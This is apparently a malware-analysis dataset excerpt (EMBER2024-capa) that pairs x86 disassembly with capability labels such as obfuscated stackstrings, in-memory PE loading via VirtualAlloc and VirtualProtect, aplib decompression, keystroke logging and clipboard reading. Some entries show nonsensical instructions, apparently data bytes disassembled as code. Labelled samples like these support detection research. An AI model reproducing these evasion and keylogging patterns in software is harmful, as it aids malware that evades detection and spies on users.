joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402383
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
and byte [ebp - 0x20], 0
and byte [ebp - 0x10], 0
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
lea eax, [ebp - 0x2c]
xor edi, edi
push eax
push edi
mov byte [ebp - 0x2c], 0x4b
mov byte [ebp - 0x2b], 0x45
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x4e
mov byte [ebp - 0x28], 0x45
mov byte [ebp - 0x27], 0x4c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x1c], 0x56
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x75
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x41
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x63
call fcn.00401e6c
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 8], eax
add esp, 0xc
mov dword [ebp + 0x10], edi
mov eax, dword [ebx + 4]
mov dword [ebp - 4], eax
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], di
lea esi, [ecx + eax + 0x18]
jbe 0x40249c
add esi, 0x10
mov edi, 0x1000
cmp dword [esi], 0
jne 0x402461
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x40248b
push 4
push edi
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 4]
push eax
call dword [ebp - 8]
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x40248b
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 4]
push edi
push dword [esi]
push eax
call dword [ebp - 8]
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebx]
inc dword [ebp + 0x10]
add esi, 0x28
movzx eax, word [eax + 6]
cmp dword [ebp + 0x10], eax
jl 0x40242e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4024a1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x28]
push ebx
push eax
lea eax, [ebp - 0x38]
xor ebx, ebx
push eax
push ebx
mov byte [ebp - 0x38], 0x4b
mov byte [ebp - 0x37], 0x45
mov byte [ebp - 0x36], 0x52
mov byte [ebp - 0x35], 0x4e
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x4c
mov byte [ebp - 0x32], 0x33
mov byte [ebp - 0x31], 0x32
mov byte [ebp - 0x30], 0x2e
mov byte [ebp - 0x2f], 0x64
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x28], 0x56
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x75
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x46
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], bl
call fcn.00401e6c
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x38]
push eax
push ebx
mov byte [ebp - 0x48], 0x56
mov byte [ebp - 0x47], 0x69
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], 0x74
mov byte [ebp - 0x44], 0x75
mov byte [ebp - 0x43], 0x61
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x41], 0x50
mov byte [ebp - 0x40], 0x72
mov byte [ebp - 0x3f], 0x6f
mov byte [ebp - 0x3e], 0x74
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x63
mov byte [ebp - 0x3b], 0x74
mov byte [ebp - 0x3a], bl
call fcn.00401e6c
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
add esp, 0x18
mov dword [ebp - 0xc], ebx
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], bx
lea ecx, [ecx + eax + 0x18]
jbe 0x40262a
add ecx, 0x24
push esi
push edi
mov dword [ebp - 8], ecx
mov esi, dword [ecx]
mov dword [ebp - 4], esi
mov edi, dword [ebp - 4]
mov edx, dword [ebp - 4]
shr esi, 0x1d
shr edi, 0x1e
and esi, 1
and edi, 1
shr edx, 0x1f
test byte [ebp - 1], 2
mov dword [ebp - 0x14], edx
je 0x4025c1
push 0x4000
push dword [ecx - 0x14]
push dword [ecx - 0x1c]
call dword [ebp - 0x10]
jmp 0x40260a
test byte [ebp - 1], 4
lea edx, [edi + esi*2]
mov esi, dword [ebp - 0x14]
lea edx, [esi + edx*2]
mov edi, dword [edx*4 + 0x40a380]
je 0x4025dd
or edi, 0x200
mov esi, dword [ecx - 0x14]
mov edx, esi
cmp edx, ebx
jne 0x4025fc
test byte [ebp - 4], 0x40
je 0x4025f1
mov edx, dword [eax + 0x20]
jmp 0x4025fa
test byte [ebp - 4], 0x80
je 0x40260d
mov edx, dword [eax + 0x24]
cmp edx, ebx
jbe 0x40260d
lea eax, [ebp - 0x1c]
push eax
push edi
push esi
push dword [ecx - 0x1c]
call dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
inc dword [ebp - 0xc]
add ecx, 0x28
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx edx, word [eax + 6]
cmp dword [ebp - 0xc], edx
jl 0x40258e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4026a7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
and byte [ebp - 0x18], 0
and byte [ebp - 0x28], 0
push esi
lea eax, [ebp - 0x34]
push edi
push eax
lea eax, [ebp - 0x24]
xor ebx, ebx
push eax
push ebx
mov byte [ebp - 0x24], 0x4b
mov byte [ebp - 0x23], 0x45
mov byte [ebp - 0x22], 0x52
mov byte [ebp - 0x21], 0x4e
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4c
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x34], 0x49
mov byte [ebp - 0x33], 0x73
mov byte [ebp - 0x32], 0x42
mov byte [ebp - 0x31], 0x61
mov byte [ebp - 0x30], 0x64
mov byte [ebp - 0x2f], 0x52
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x61
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x50
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x72
call fcn.00401e6c
mov dword [ebp - 0x10], eax
and byte [ebp - 0x38], bl
lea eax, [ebp - 0x44]
mov byte [ebp - 0x44], 0x4c
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
mov byte [ebp - 0x43], 0x6f
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 0x4c
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x62
mov byte [ebp - 0x3d], 0x72
mov byte [ebp - 0x3c], 0x61
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], 0x79
mov byte [ebp - 0x39], 0x41
call fcn.00401e6c
mov esi, dword [ebp + 8]
mov dword [ebp - 0x14], eax
add esp, 0x18
mov dword [ebp - 4], 1
mov eax, dword [esi]
mov edi, dword [esi + 4]
add eax, 0x80
mov dword [ebp - 8], edi
cmp dword [eax + 4], ebx
jbe 0x40286a
mov ebx, dword [eax]
push 0x14
add ebx, edi
push ebx
call dword [ebp - 0x10]
test eax, eax
jne 0x40286a
jmp 0x4027a9
mov edi, dword [ebp - 8]
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x40286a
add eax, edi
push eax
call dword [ebp - 0x14]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x402866
mov eax, dword [esi + 0xc]
lea eax, [eax*4 + 4]
push eax
push dword [esi + 8]
call fcn.00401f7e
pop ecx
mov dword [esi + 8], eax
test eax, eax
pop ecx
je 0x402866
mov ecx, dword [esi + 0xc]
mov edx, dword [ebp - 0xc]
mov dword [eax + ecx*4], edx
inc dword [esi + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x402805
add eax, edi
mov edi, dword [ebx + 0x10]
add edi, dword [ebp - 8]
mov dword [ebp + 8], eax
jmp 0x40280d
mov eax, dword [ebx + 0x10]
add edi, eax
mov dword [ebp + 8], edi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
je 0x40284d
test eax, 0x80000000
je 0x402824
and eax, 0xffff
jmp 0x40282c
mov ecx, dword [ebp - 8]
add eax, ecx
add eax, 2
push eax
push 0
push dword [ebp - 0xc]
call fcn.00401e6c
add esp, 0xc
mov dword [edi], eax
test eax, eax
je 0x402849
add dword [ebp + 8], 4
add edi, 4
jmp 0x40280d
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40286a
add ebx, 0x14
push 0x14
push ebx
call dword [ebp - 0x10]
test eax, eax
je 0x4027a6
jmp 0x40286a
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4028fc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
lea eax, [ebp - 0x28]
push esi
push eax
lea eax, [ebp - 0x44]
xor ebx, ebx
push eax
push ebx
mov byte [ebp - 0x44], 0x4b
mov byte [ebp - 0x43], 0x45
mov byte [ebp - 0x42], 0x52
mov byte [ebp - 0x41], 0x4e
mov byte [ebp - 0x40], 0x45
mov byte [ebp - 0x3f], 0x4c
mov byte [ebp - 0x3e], 0x33
mov byte [ebp - 0x3d], 0x32
mov byte [ebp - 0x3c], 0x2e
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], bl
mov byte [ebp - 0x28], 0x46
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x4c
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x62
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], 0x61
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x79
mov byte [ebp - 0x1d], bl
call fcn.00401e6c
mov dword [ebp - 4], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x44]
push eax
push ebx
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x46
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], bl
call fcn.00401e6c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push ebx
mov byte [ebp - 0x54], 0x47
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x50
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], 0x6f
mov byte [ebp - 0x4e], 0x63
mov byte [ebp - 0x4d], 0x65
mov byte [ebp - 0x4c], 0x73
mov byte [ebp - 0x4b], 0x73
mov byte [ebp - 0x4a], 0x48
mov byte [ebp - 0x49], 0x65
mov byte [ebp - 0x48], 0x61
mov byte [ebp - 0x47], 0x70
mov byte [ebp - 0x46], bl
call fcn.00401e6c
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x1c], 0x48
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x70
mov byte [ebp - 0x18], 0x46
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x17], 0x72
push eax
lea eax, [ebp - 0x44]
push eax
push ebx
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], bl
call fcn.00401e6c
mov esi, dword [ebp + 8]
add esp, 0x30
cmp esi, ebx
mov dword [ebp - 0x10], eax
je 0x402aa0
cmp dword [esi + 0x10], ebx
je 0x402a5a
mov ecx, dword [esi]
mov eax, dword [esi + 4]
push ebx
push ebx
mov ecx, dword [ecx + 0x28]
push eax
add ecx, eax
call ecx
mov dword [esi + 0x10], ebx
cmp dword [esi + 8], ebx
je 0x402a86
push edi
xor edi, edi
cmp dword [esi + 0xc], ebx
jle 0x402a7c
mov eax, dword [esi + 8]
mov eax, dword [eax + edi*4]
cmp eax, 0xffffffff
je 0x402a76
push eax
call dword [ebp - 4]
inc edi
cmp edi, dword [esi + 0xc]
jl 0x402a67
push dword [esi + 8]
call fcn.004020a0
pop ecx
pop edi
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x402a97
push 0x8000
push ebx
push eax
call dword [ebp - 8]
push esi
push ebx
call dword [ebp - 0xc]
push eax
call dword [ebp - 0x10]
pop esi
pop ebx
leave
ret
Function at 0x104fa058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x104fa1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x104fa07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104fa06a
add dl, dl
jne 0x104fa089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104fa0dc
xor eax, eax
add dl, dl
jne 0x104fa096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104fa17d
add dl, dl
jne 0x104fa0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104fa0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104fa0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104fa0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x104fa0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x104fa075
mov eax, 1
add dl, dl
jne 0x104fa0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104fa0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104fa0e1
sub eax, ebx
mov ebx, 1
jne 0x104fa128
mov ecx, 1
add dl, dl
jne 0x104fa10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104fa119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104fa105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104fa075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x104fa13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104fa14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104fa136
cmp eax, 0x7d00
jae 0x104fa16d
cmp eax, 0x500
jb 0x104fa168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104fa075
cmp eax, 0x7f
ja 0x104fa170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104fa075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x104fa19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x104fa075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401494
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x4014a6
mov eax, dword [0x4d508b]
shl eax, 2
mov dword [0x4d508f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004c926c
pop edx
call fcn.004c91d0
call fcn.004c92ac
push 0
call fcn.004ca70c
pop ecx
push 0x4d5034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x4d5093], eax
push 0
jmp fcn.004cf7d8

Function at 0x40ed10
Capabilities:
Set global application hook

Disassembly:
mov eax, dword [0x4dad4c]
cmp dword [eax], 2
je 0x40ed2e
mov ecx, 0x367
mov edx, 0x40ed60
mov eax, 0x40ed90
call fcn.00460b98
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
push 0
push 0x40ecb0
push 3
call sub.USER32.DLL_SetWindowsHookExW
mov dword [0x4db1e8], eax
cmp dword [0x4db1e8], 0
jne 0x40ed55
call fcn.00453e64
ret
Function at 0x40f9a8
Capabilities:
Check os version

Disassembly:
sub al, 0x25
inc esp
add byte [eax], ah
mov eax, dword [0x24480044]
Function at 0x40fb7c
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [esp + 4], 6
setae al
add esp, 0x94
ret

Function at 0x40fcac
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, dword [sym.ALKATIP57.exe__Tntsysutils_Win32PlatformIsUnicode]
cmp byte [eax], 0
jne 0x40fcda
mov ecx, 0xd1
mov edx, 0x40fd28
mov eax, 0x40fd58
call fcn.00460b98
mov eax, ebx
call fcn.004612ec
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.USER32.DLL_MapVirtualKeyW
shl eax, 0x10
test eax, eax
je 0x40fd19
push pe_nt_image_headers32
lea edx, [ebp - 0x202]
push edx
push eax
call sub.USER32.DLL_GetKeyNameTextW
mov eax, ebx
lea edx, [ebp - 0x202]
mov ecx, 0x100
call fcn.004614a8
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40fd6c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x40feb8
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x20
lea edx, [ebp - 0x40]
push edx
and eax, 0x1ff
shl eax, 0x10
push eax
call sub.USER32.DLL_GetKeyNameTextW
mov esi, eax
lea edx, [ebp - 0x40]
mov eax, ebx
mov ecx, esi
call fcn.004613e0
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x48]
mov eax, dword [ebx]
call fcn.0044f354
mov eax, dword [ebp - 0x48]
mov ecx, esi
dec ecx
mov edx, 2
call fcn.004616ec
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [ebx]
mov ecx, 1
mov edx, 1
call fcn.004616ec
mov edx, dword [ebp - 0x4c]
mov eax, ebx
pop ecx
call fcn.004615bc
mov edx, dword [ebx]
mov eax, 0x40fecc
call fcn.00461864
test eax, eax
jle 0x40fe9d
lea eax, [ebp - 0x50]
push eax
mov edx, dword [ebx]
mov eax, 0x40fecc
call fcn.00461864
mov ecx, eax
mov eax, dword [ebx]
mov edx, 1
call fcn.004616ec
push dword [ebp - 0x50]
lea eax, [ebp - 0x58]
push eax
mov edx, dword [ebx]
mov eax, 0x40fecc
call fcn.00461864
mov edx, eax
inc edx
mov eax, dword [ebx]
mov ecx, 1
call fcn.004616ec
mov eax, dword [ebp - 0x58]
lea edx, [ebp - 0x54]
call fcn.0044f320
push dword [ebp - 0x54]
lea eax, [ebp - 0x5c]
push eax
mov edx, dword [ebx]
mov eax, 0x40fecc
call fcn.00461864
sub esi, eax
dec esi
push esi
mov edx, dword [ebx]
mov eax, 0x40fecc
call fcn.00461864
mov edx, eax
add edx, 2
mov eax, dword [ebx]
pop ecx
call fcn.004616ec
push dword [ebp - 0x5c]
mov eax, ebx
mov edx, 3
call fcn.00461620
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40febf
lea eax, [ebp - 0x5c]
mov edx, 7
call fcn.00461304
ret
Function at 0x40fed0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x410000
push dword fs:[eax]
mov dword fs:[eax], esp
mov edi, ebx
and di, 0xff
movzx eax, di
cmp eax, 0x20
jge 0x40ff11
add eax, 0xfffffff8
sub eax, 2
jb 0x40ff44
sub eax, 3
je 0x40ff44
sub eax, 0xe
je 0x40ff44
jmp 0x40ff58
add eax, 0xffffffe0
sub eax, 9
jb 0x40ff2b
add eax, 0xfffffffc
sub eax, 2
jb 0x40ff2b
add eax, 0xffffffbf
sub eax, 0x18
jb 0x40ff44
jmp 0x40ff58
push 0
movzx eax, di
push eax
call sub.USER32.DLL_MapVirtualKeyW
add eax, 0x100
mov edx, esi
call fcn.0040fd6c
jmp 0x40ff61
push 0
movzx eax, di
push eax
call sub.USER32.DLL_MapVirtualKeyW
mov edx, esi
call fcn.0040fd6c
jmp 0x40ff61
mov edx, esi
mov eax, edi
call fcn.0040fcac
test bh, 0x20
je 0x40ff8d
push 0
push 0x10
call sub.USER32.DLL_MapVirtualKeyW
lea edx, [ebp - 4]
call fcn.0040fd6c
push dword [ebp - 4]
push 0x410014
push dword [esi]
mov eax, esi
mov edx, 3
call fcn.00461620
test bh, 0x80
je 0x40ffb9
push 0
push 0x12
call sub.USER32.DLL_MapVirtualKeyW
lea edx, [ebp - 8]
call fcn.0040fd6c
push dword [ebp - 8]
push 0x410014
push dword [esi]
mov eax, esi
mov edx, 3
call fcn.00461620
test bh, 0x40
je 0x40ffe5
push 0
push 0x11
call sub.USER32.DLL_MapVirtualKeyW
lea edx, [ebp - 0xc]
call fcn.0040fd6c
push dword [ebp - 0xc]
push 0x410014
push dword [esi]
mov eax, esi
mov edx, 3
call fcn.00461620
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410007
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00461304
ret
Function at 0x41a200
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov esi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x41a384
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, byte [ebx + 0x276]
sub al, 2
jb 0x41a369
cmp byte [ebx + 0x268], 0
je 0x41a369
mov eax, dword [ebp - 4]
call sym.ALKATIP57.exe__Tntcontrols_GetWideCharFromWMCharMsg_qqrrx15Messages_TWMKey
mov word [ebp - 6], ax
xor eax, eax
push ebp
push 0x41a362
push dword fs:[eax]
mov dword fs:[eax], esp
mov ax, word [ebp - 6]
sub ax, 8
je 0x41a2a6
dec ax
je 0x41a27c
sub ax, 0x12
jne 0x41a2c0
call fcn.00460888
jmp 0x41a369
cmp byte [ebx + 0x269], 0
je 0x41a348
mov eax, ebx
call fcn.00472ba0
test al, al
je 0x41a348
xor edx, edx
mov eax, ebx
call fcn.00472bc4
jmp 0x41a348
mov eax, dword [esi]
call fcn.00461550
mov edx, eax
mov eax, esi
mov ecx, 1
call fcn.00461738
jmp 0x41a348
cmp byte [ebx + 0x269], 0
je 0x41a2dd
mov eax, ebx
call fcn.00472ba0
test al, al
jne 0x41a2dd
mov dl, 1
mov eax, ebx
call fcn.00472bc4
call sub.KERNEL32.DLL_GetTickCount
mov edx, dword [ebp + 8]
sub eax, dword [edx]
cmp eax, 0x4e2
jb 0x41a2f5
mov eax, esi
call fcn.004612ec
call sub.KERNEL32.DLL_GetTickCount
mov edx, dword [ebp + 8]
mov dword [edx], eax
push 0
push 1
lea eax, [ebp - 0x10]
mov dx, word [ebp - 6]
call fcn.00461414
mov ecx, dword [ebp - 0x10]
mov edx, dword [esi]
lea eax, [ebp - 0xc]
call fcn.004615bc
mov ecx, dword [ebp - 0xc]
mov edx, edi
mov eax, ebx
call fcn.0041a050
test al, al
je 0x41a348
lea eax, [ebp - 0x14]
mov dx, word [ebp - 6]
call fcn.00461414
mov edx, dword [ebp - 0x14]
mov eax, esi
call fcn.0046155c
mov word [ebp - 6], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a369
mov eax, dword [ebp - 4]
mov dx, word [ebp - 6]
call sym.ALKATIP57.exe__Tntcontrols_SetWideCharForWMCharMsg_qqrr15Messages_TWMKeyb
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a38b
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00461304
ret
Function at 0x42a67c
Capabilities:
Read clipboard data

Disassembly:
add byte [eax - 0x73ffb9fe], cl
add al, byte [esi]
add byte [edx], 0x46
add al, cl
inc dword [ebp]
in al, 0xff
inc ebp
add byte [esp], bl
inc esp
add byte [eax], dl
adc byte [ebp + 0x4c], bl
adc byte [ebp + 0x4c], bl
add byte [0x5e800044], dh
dec esp
add al, ch
pop ecx
dec esp
add byte [eax], al
pop ecx
dec esp
add byte [eax + 0x59], ah
dec esp
add byte [ecx + ebx*2 + 0x540d004c], cl
push esp
outsb dx, byte [esi]
je 0x42a6e1
insb byte es:[edi], dx
imul esi, dword [eax + 0x62], 0x6472616f
nop
nop
lodsb al, byte [esi]
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edi], al
pop es
or eax, 0x746e5454
inc ebx
insb byte es:[edi], dx
imul esi, dword [eax + 0x62], 0x6472616f
jl 0x42a663
inc edx
add ah, bl
pop eax
dec esp
add byte [eax], al
add byte [edx], cl
push esp
outsb dx, byte [esi]
je 0x42a70d
insb byte es:[edi], dx
imul esi, dword [eax + 0x42], 0x6472
nop
nop
clc
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42a7a2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
push 0xd
call sub.USER32.DLL_GetClipboardData
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x42a75b
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
je 0x42a72e
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GlobalLock
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.00461454
jmp 0x42a736
mov eax, dword [ebp - 8]
call fcn.004612ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42a762
cmp dword [ebp - 0xc], 0
je 0x42a752
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret